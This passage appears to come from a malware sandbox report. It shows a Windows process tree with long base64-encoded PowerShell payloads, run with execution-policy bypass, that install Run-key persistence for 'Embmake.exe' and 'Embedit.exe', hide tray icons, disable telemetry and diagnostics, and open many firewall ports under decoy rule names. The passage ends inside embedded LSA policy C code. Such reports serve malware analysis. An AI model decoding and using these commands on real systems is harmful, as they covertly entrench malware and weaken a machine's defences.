BXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACIARQBtAGIAbQBhAGsAZQAiACAALQBWAGEAbAB1AGUAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABFAG0AYgBtAGEAawBlAC4AZQB4AGUAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACIARQBtAGIAbQBhAGsAZQAiACAALQBWAGEAbAB1AGUAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABFAG0AYgBtAGEAawBlAC4AZQB4AGUAIgAgAC0AVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAiACAALQBOAGEAbQBlACAAIgBFAG0AYgBtAGEAawBlACIAIAAtAFYAYQBsAHUAZQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEUAbQBiAG0AYQBrAGUALgBlAHgAZQAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAiACAALQBOAGEAbQBlACAAIgBFAG0AYgBtAGEAawBlACIAIAAtAFYAYQBsAHUAZQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEUAbQBiAG0AYQBrAGUALgBlAHgAZQAiACAALQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQAKAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACIARQBtAGIAZQBkAGkAdAAiACAALQBWAGEAbAB1AGUAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABFAG0AYgBlAGQAaQB0AC4AZQB4AGUAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABTAHQAcgBpAG4AZwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AIgAgAC0ATgBhAG0AZQAgACIARQBtAGIAZQBkAGkAdAAiACAALQBWAGEAbAB1AGUAIAAiACQAZQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABFAG0AYgBlAGQAaQB0AC4AZQB4AGUAIgAgAC0AVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAiACAALQBOAGEAbQBlACAAIgBFAG0AYgBlAGQAaQB0ACIAIAAtAFYAYQBsAHUAZQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEUAbQBiAGUAZABpAHQALgBlAHgAZQAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAFMAdAByAGkAbgBnACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAiACAALQBOAGEAbQBlACAAIgBFAG0AYgBlAGQAaQB0ACIAIAAtAFYAYQBsAHUAZQAgACIAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEUAbQBiAGUAZABpAHQALgBlAHgAZQAiACAALQBUAHkAcABlACAAUwB0AHIAaQBuAGcAIAAtAEYAbwByAGMAZQA=
                                                  4⤵
                                                    PID:2052
                                                    • C:\Windows\system32\chcp.com
                                                      "C:\Windows\system32\chcp.com" 1252
                                                      5⤵
                                                        PID:2732
                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                    -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss37FC.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi37F9.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr37FA.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr37FB.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                                                    3⤵
                                                      PID:2652
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcACIAIAAtAE4AYQBtAGUAIAAiAEUAeABwAGwAbwByAGUAcgAiACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABFAHgAcABsAG8AcgBlAHIAIgAgAC0ATgBhAG0AZQAgACIATgBvAFQAcgBhAHkASQB0AGUAbQBzAEQAaQBzAHAAbABhAHkAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAFYAYQBsAHUAZQAgADEAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAEUAeABwAGwAbwByAGUAcgAiACAALQBOAGEAbQBlACAAIgBOAG8AVAByAGEAeQBJAHQAZQBtAHMARABpAHMAcABsAGEAeQAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgAKAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUABvAGwAaQBjAGkAZQBzAFwAIgAgAC0ATgBhAG0AZQAgACIARQB4AHAAbABvAHIAZQByACIAIAAtAEYAbwByAGMAZQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAEUAeABwAGwAbwByAGUAcgAiACAALQBOAGEAbQBlACAAIgBOAG8AVAByAGEAeQBJAHQAZQBtAHMARABpAHMAcABsAGEAeQAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0AVgBhAGwAdQBlACAAMQAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUABvAGwAaQBjAGkAZQBzAFwARQB4AHAAbABvAHIAZQByACIAIAAtAE4AYQBtAGUAIAAiAE4AbwBUAHIAYQB5AEkAdABlAG0AcwBEAGkAcwBwAGwAYQB5ACIAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAIAAtAFYAYQBsAHUAZQAgADEAIAAtAEYAbwByAGMAZQA=
                                                        4⤵
                                                          PID:568
                                                          • C:\Windows\system32\chcp.com
                                                            "C:\Windows\system32\chcp.com" 1252
                                                            5⤵
                                                              PID:852
                                                        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                          -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss4089.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi4066.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr4067.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr4078.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                                                          3⤵
                                                            PID:2500
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEgASwBMAE0AOgBcAFMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAQwBvAG4AdAByAG8AbABcACIAIAAtAE4AYQBtAGUAIAAiAEcAcgBhAHAAaABpAGMAcwBEAHIAaQB2AGUAcgBzACIAIAAtAEYAbwByAGMAZQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAQwBvAG4AdAByAG8AbABcAEcAcgBhAHAAaABpAGMAcwBEAHIAaQB2AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiAEgAdwBTAGMAaABNAG8AZABlACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAyACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABHAHIAYQBwAGgAaQBjAHMARAByAGkAdgBlAHIAcwAiACAALQBOAGEAbQBlACAAIgBIAHcAUwBjAGgATQBvAGQAZQAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAyACAALQBGAG8AcgBjAGUACgAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEQAYQB0AGEAIABDAG8AbABsAGUAYwB0AGkAbwBuAFwAIgAgAC0ATgBhAG0AZQAgAEEAbABsAG8AdwBUAGUAbABlAG0AZQB0AHIAeQAgAC0AVgBhAGwAdQBlACAAMAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFcAaQBuAGQAbwB3AHMAIABTAGUAYQByAGMAaAAiACAALQBOAGEAbQBlACAAQQBsAGwAbwB3AEMAbwByAHQAYQBuAGEAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUACgAKAEcAZQB0AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBQAGEAdABoACAAIgBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAE0AZQBtAG8AcgB5AEQAaQBhAGcAbgBvAHMAdABpAGMAXAAiACAAfAAgAEQAaQBzAGEAYgBsAGUALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAAoARABpAHMAYQBiAGwAZQAtAE0ATQBBAGcAZQBuAHQAIAAtAG0AYwAKAAoATgBlAHcALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUgB1AGwAZQAgAC0ATgBhAG0AZQAgACIATgBlAHQAdwBvAHIAawAgAEQAaQBzAGMAbwB2AGUAcgB5ACAAUwBlAHIAdgBpAGMAZQAiACAALQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAAiAE4AZQB0AHcAbwByAGsAIABEAGkAcwBjAG8AdgBlAHIAeQAgAFMAZQByAHYAaQBjAGUAIgAgAC0ARwByAG8AdQBwACAAIgBOAGUAdAB3AG8AcgBrACAARABpAHMAYwBvAHYAZQByAHkAIABTAGUAcgB2AGkAYwBlACIAIAAtAEwAbwBjAGEAbABQAG8AcgB0ACAAOAAwACwAIAA0ADQAMwAsACAAMgAwADIAMAAsACAAMgAyADIAMgAsACAAMwAxADAAMAAsACAAMwAzADMAMwAsACAANAAwADQAMAAsACAANAA0ADQANAAsACAANAA0ADQAOQAsACAANgAwADYAMAAsACAAOAAwADgAMAAsACAAOAA4ADgAOAAsACAAOQAyADAAMAAsACAAMQAwADEAMgA4ACwAIAAxADAANgAwADAALAAgADEAMAA2ADQAMwAsACAAMQAyADAAMgAwACwAIAAxADgAOAA4ADgALAAgADEAOAAxADkAMgAgAC0ARABpAHIAZQBjAHQAaQBvAG4AIABJAG4AYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAFAAcgBvAHQAbwBjAG8AbAAgAFQAQwBQACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBOAGUAdAB3AG8AcgBrACAARABpAHMAYwBvAHYAZQByAHkAIABDAG8AbgB0AHIAbwBsACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIATgBlAHQAdwBvAHIAawAgAEQAaQBzAGMAbwB2AGUAcgB5ACAAQwBvAG4AdAByAG8AbAAiACAALQBHAHIAbwB1AHAAIAAiAE4AZQB0AHcAbwByAGsAIABEAGkAcwBjAG8AdgBlAHIAeQAgAEMAbwBuAHQAcgBvAGwAIgAgAC0ATABvAGMAYQBsAFAAbwByAHQAIAA4ADAALAAgADQANAAzACwAIAAyADAAMgAwACwAIAAyADIAMgAyACwAIAAzADEAMAAwACwAIAAzADMAMwAzACwAIAA0ADAANAAwACwAIAA0ADQANAA0ACwAIAA0ADQANAA5ACwAIAA2ADAANgAwACwAIAA4ADAAOAAwACwAIAA4ADgAOAA4ACwAIAA5ADIAMAAwACwAIAAxADAAMQAyADgALAAgADEAMAA2ADAAMAAsACAAMQAwADYANAAzACwAIAAxADIAMAAyADAALAAgADEAOAA4ADgAOAAsACAAMQA4ADEAOQAyACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAE8AdQB0AGIAbwB1AG4AZAAgAC0AUAByAG8AZgBpAGwAZQAgAEEAbgB5ACAALQBQAHIAbwB0AG8AYwBvAGwAIABUAEMAUAAgAC0AQQBjAHQAaQBvAG4AIABBAGwAbABvAHcAIAAtAEUAbgBhAGIAbABlAGQAIABUAHIAdQBlAAoACgBOAGUAdwAtAE4AZQB0AEYAaQByAGUAdwBhAGwAbABSAHUAbABlACAALQBOAGEAbQBlACAAIgBSAG8AdQB0AGUAcgBXAGUAYgAgAFAAYQBjAGsAYQBnAGUAIABTAGUAcgB2AGkAYwBlACIAIAAtAEQAaQBzAHAAbABhAHkATgBhAG0AZQAgACIAUgBvAHUAdABlAHIAVwBlAGIAIABQAGEAYwBrAGEAZwBlACAAUwBlAHIAdgBpAGMAZQAiACAALQBHAHIAbwB1AHAAIAAiAFIAbwB1AHQAZQByAFcAZQBiACAAUABhAGMAawBhAGcAZQAgAFMAZQByAHYAaQBjAGUAIgAgAC0ATABvAGMAYQBsAFAAbwByAHQAIAA4ADAALAAgADQANAAzACwAIAAyADAAMgAwACwAIAAyADIAMgAyACwAIAAzADEAMAAwACwAIAAzADMAMwAzACwAIAA0ADAANAAwACwAIAA0ADQANAA0ACwAIAA0ADQANAA5ACwAIAA2ADAANgAwACwAIAA4ADAAOAAwACwAIAA4ADgAOAA4ACwAIAA5ADIAMAAwACwAIAAxADAAMQAyADgALAAgADEAMAA2ADAAMAAsACAAMQAwADYANAAzACwAIAAxADIAMAAyADAALAAgADEAOAA4ADgAOAAsACAAMQA4ADEAOQAyACAALQBEAGkAcgBlAGMAdABpAG8AbgAgAEkAbgBiAG8AdQBuAGQAIAAtAFAAcgBvAGYAaQBsAGUAIABBAG4AeQAgAC0AUAByAG8AdABvAGMAbwBsACAAVQBEAFAAIAAtAEEAYwB0AGkAbwBuACAAQQBsAGwAbwB3ACAALQBFAG4AYQBiAGwAZQBkACAAVAByAHUAZQAKAE4AZQB3AC0ATgBlAHQARgBpAHIAZQB3AGEAbABsAFIAdQBsAGUAIAAtAE4AYQBtAGUAIAAiAFIAbwB1AHQAZQByAFcAZQBiACAAUABhAGMAawBhAGcAZQAgAEMAbwBuAHQAcgBvAGwAIgAgAC0ARABpAHMAcABsAGEAeQBOAGEAbQBlACAAIgBSAG8AdQB0AGUAcgBXAGUAYgAgAFAAYQBjAGsAYQBnAGUAIABDAG8AbgB0AHIAbwBsACIAIAAtAEcAcgBvAHUAcAAgACIAUgBvAHUAdABlAHIAVwBlAGIAIABQAGEAYwBrAGEAZwBlACAAQwBvAG4AdAByAG8AbAAiACAALQBMAG8AYwBhAGwAUABvAHIAdAAgADgAMAAsACAANAA0ADMALAAgADIAMAAyADAALAAgADIAMgAyADIALAAgADMAMQAwADAALAAgADMAMwAzADMALAAgADQAMAA0ADAALAAgADQANAA0ADQALAAgADQANAA0ADkALAAgADYAMAA2ADAALAAgADgAMAA4ADAALAAgADgAOAA4ADgALAAgADkAMgAwADAALAAgADEAMAAxADIAOAAsACAAMQAwADYAMAAwACwAIAAxADAANgA0ADMALAAgADEAMgAwADIAMAAsACAAMQA4ADgAOAA4ACwAIAAxADgAMQA5ADIAIAAtAEQAaQByAGUAYwB0AGkAbwBuACAATwB1AHQAYgBvAHUAbgBkACAALQBQAHIAbwBmAGkAbABlACAAQQBuAHkAIAAtAFAAcgBvAHQAbwBjAG8AbAAgAFUARABQACAALQBBAGMAdABpAG8AbgAgAEEAbABsAG8AdwAgAC0ARQBuAGEAYgBsAGUAZAAgAFQAcgB1AGUA
                                                              4⤵
                                                                PID:2984
                                                                • C:\Windows\system32\chcp.com
                                                                  "C:\Windows\system32\chcp.com" 1252
                                                                  5⤵
                                                                    PID:1956
                                                                  • C:\Windows\system32\wermgr.exe
                                                                    "C:\Windows\system32\wermgr.exe" "-outproc" "2984" "1352"
                                                                    5⤵
                                                                      PID:2632
                                                                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                  -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\pss4E15.ps1" -propFile "C:\Users\Admin\AppData\Local\Temp\msi4E02.txt" -scriptFile "C:\Users\Admin\AppData\Local\Temp\scr4E03.ps1" -scriptArgsFile "C:\Users\Admin\AppData\Local\Temp\scr4E04.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
                                                                  3⤵
                                                                    PID:1916
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -enc YwBoAGMAcAAgADEAMgA1ADIACgAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnAAoACgBTAGUAdAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAALQBTAGMAbwBwAGUAIABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAC0AUwBjAG8AcABlACAATABvAGMAYQBsAE0AYQBjAGgAaQBuAGUAIABCAHkAcABhAHMAcwAgAC0ARgBvAHIAYwBlAAoACgAjAGQAZQBmAGkAbgBlACAAVQBOAEkAQwBPAEQARQAKACMAZABlAGYAaQBuAGUAIABfAFUATgBJAEMATwBEAEUACgAKACMAaQBuAGMAbAB1AGQAZQAgADwAdwBpAG4AZABvAHcAcwAuAGgAPgAKACMAaQBuAGMAbAB1AGQAZQAgADwAbgB0AHMAZQBjAGEAcABpAC4AaAA+AAoAIwBpAG4AYwBsAHUAZABlACAAPABuAHQAcwB0AGEAdAB1AHMALgBoAD4ACgAjAGkAbgBjAGwAdQBkAGUAIAA8AFMAZABkAGwALgBoAD4ACgAKAHYAbwBpAGQAIABJAG4AaQB0AEwAcwBhAFMAdAByAGkAbgBnACgAUABMAFMAQQBfAFUATgBJAEMATwBEAEUAXwBTAFQAUgBJAE4ARwAgAEwAcwBhAFMAdAByAGkAbgBnACwAIABMAFAAVwBTAFQAUgAgAFMAdAByAGkAbgBnACkACgB7AAoAIAAgACAAIABEAFcATwBSAEQAIABTAHQAcgBpAG4AZwBMAGUAbgBnAHQAaAA7AAoACgAgACAAIAAgAGkAZgAgACgAUwB0AHIAaQBuAGcAIAA9AD0AIABOAFUATABMACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAEwAcwBhAFMAdAByAGkAbgBnAC0APgBCAHUAZgBmAGUAcgAgAD0AIABOAFUATABMADsACgAgACAAIAAgACAAIAAgACAATABzAGEAUwB0AHIAaQBuAGcALQA+AEwAZQBuAGcAdABoACAAPQAgADAAOwAKACAAIAAgACAAIAAgACAAIABMAHMAYQBTAHQAcgBpAG4AZwAtAD4ATQBhAHgAaQBtAHUAbQBMAGUAbgBnAHQAaAAgAD0AIAAwADsACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AOwAKACAAIAAgACAAfQAKAAoAIAAgACAAIABTAHQAcgBpAG4AZwBMAGUAbgBnAHQAaAAgAD0AIAB3AGMAcwBsAGUAbgAoAFMAdAByAGkAbgBnACkAOwAKACAAIAAgACAATABzAGEAUwB0AHIAaQBuAGcALQA+AEIAdQBmAGYAZQByACAAPQAgAFMAdAByAGkAbgBnADsACgAgACAAIAAgAEwAcwBhAFMAdAByAGkAbgBnAC0APgBMAGUAbgBnAHQAaAAgAD0AIAAoAFUAUwBIAE8AUgBUACkAUwB0AHIAaQBuAGcATABlAG4AZwB0AGgAIAAqACAAcwBpAHoAZQBvAGYAKABXAEMASABBAFIAKQA7AAoAIAAgACAAIABMAHMAYQBTAHQAcgBpAG4AZwAtAD4ATQBhAHgAaQBtAHUAbQBMAGUAbgBnAHQAaAAgAD0AIAAoAFUAUwBIAE8AUgBUACkAKABTAHQAcgBpAG4AZwBMAGUAbgBnAHQAaAAgACsAIAAxACkAIAAqACAAcwBpAHoAZQBvAGYAKABXAEMASABBAFIAKQA7AAoAfQAKAAoATgBUAFMAVABBAFQAVQBTACAATwBwAGUAbgBQAG8AbABpAGMAeQAoAEwAUABXAFMAVABSACAAUwBlAHIAdgBlAHIATgBhAG0AZQAsACAARABXAE8AUgBEACAARABlAHMAaQByAGUAZABBAGMAYwBlAHMAcwAsACAAUABMAFMAQQBfAEgAQQBOAEQATABFACAAUABvAGwAaQBjAHkASABhAG4AZABsAGUAKQAKAHsACgAgACAAIAAgAEwAUwBBAF8ATwBCAEoARQBDAFQAXwBBAFQAVABSAEkAQgBVAFQARQBTACAATwBiAGoAZQBjAHQAQQB0AHQAcgBpAGIAdQB0AGUAcwA7AAoAIAAgACAAIABMAFMAQQBfAFUATgBJAEMATwBEAEUAXwBTAFQAUgBJAE4ARwAgAFMAZQByAHYAZQByAFMAdAByAGkAbgBnADsACgAgACAAIAAgAFAATABTAEEAXwBVAE4ASQBDAE8ARABFAF8AUwBUAFIASQBOAEcAIABTAGUAcgB2AGUAcgAgAD0AIABOAFUATABMADsACgAKACAAIAAgACAAWgBlAHIAbwBNAGUAbQBvAHIAeQAoACYATwBiAGoAZQBjAHQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAcwBpAHoAZQBvAGYAKABPAGIAagBlAGMAdABBAHQAdAByAGkAYgB1AHQAZQBzACkAKQA7AAoACgAgACAAIAAgAGkAZgAgACgAUwBlAHIAdgBlAHIATgBhAG0AZQAgACEAPQAgAE4AVQBMAEwAKQAgAHsACgAgACAAIAAgACAAIAAgACAASQBuAGkAdABMAHMAYQBTAHQAcgBpAG4AZwAoACYAUwBlAHIAdgBlAHIAUwB0AHIAaQBuAGcALAAgAFMAZQByAHYAZQByAE4AYQBtAGUAKQA7AAoAIAAgACAAIAAgACAAIAAgAFMAZQByAHYAZQByACAAPQAgACYAUwBlAHIAdgBlAHIAUwB0AHIAaQBuAGcAOwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAEwAcwBhAE8AcABlAG4AUABvAGwAaQBjAHkAKAAKACAAIAAgACAAIAAgACAAIABTAGUAcgB2AGUAcgAsAAoAIAAgACAAIAA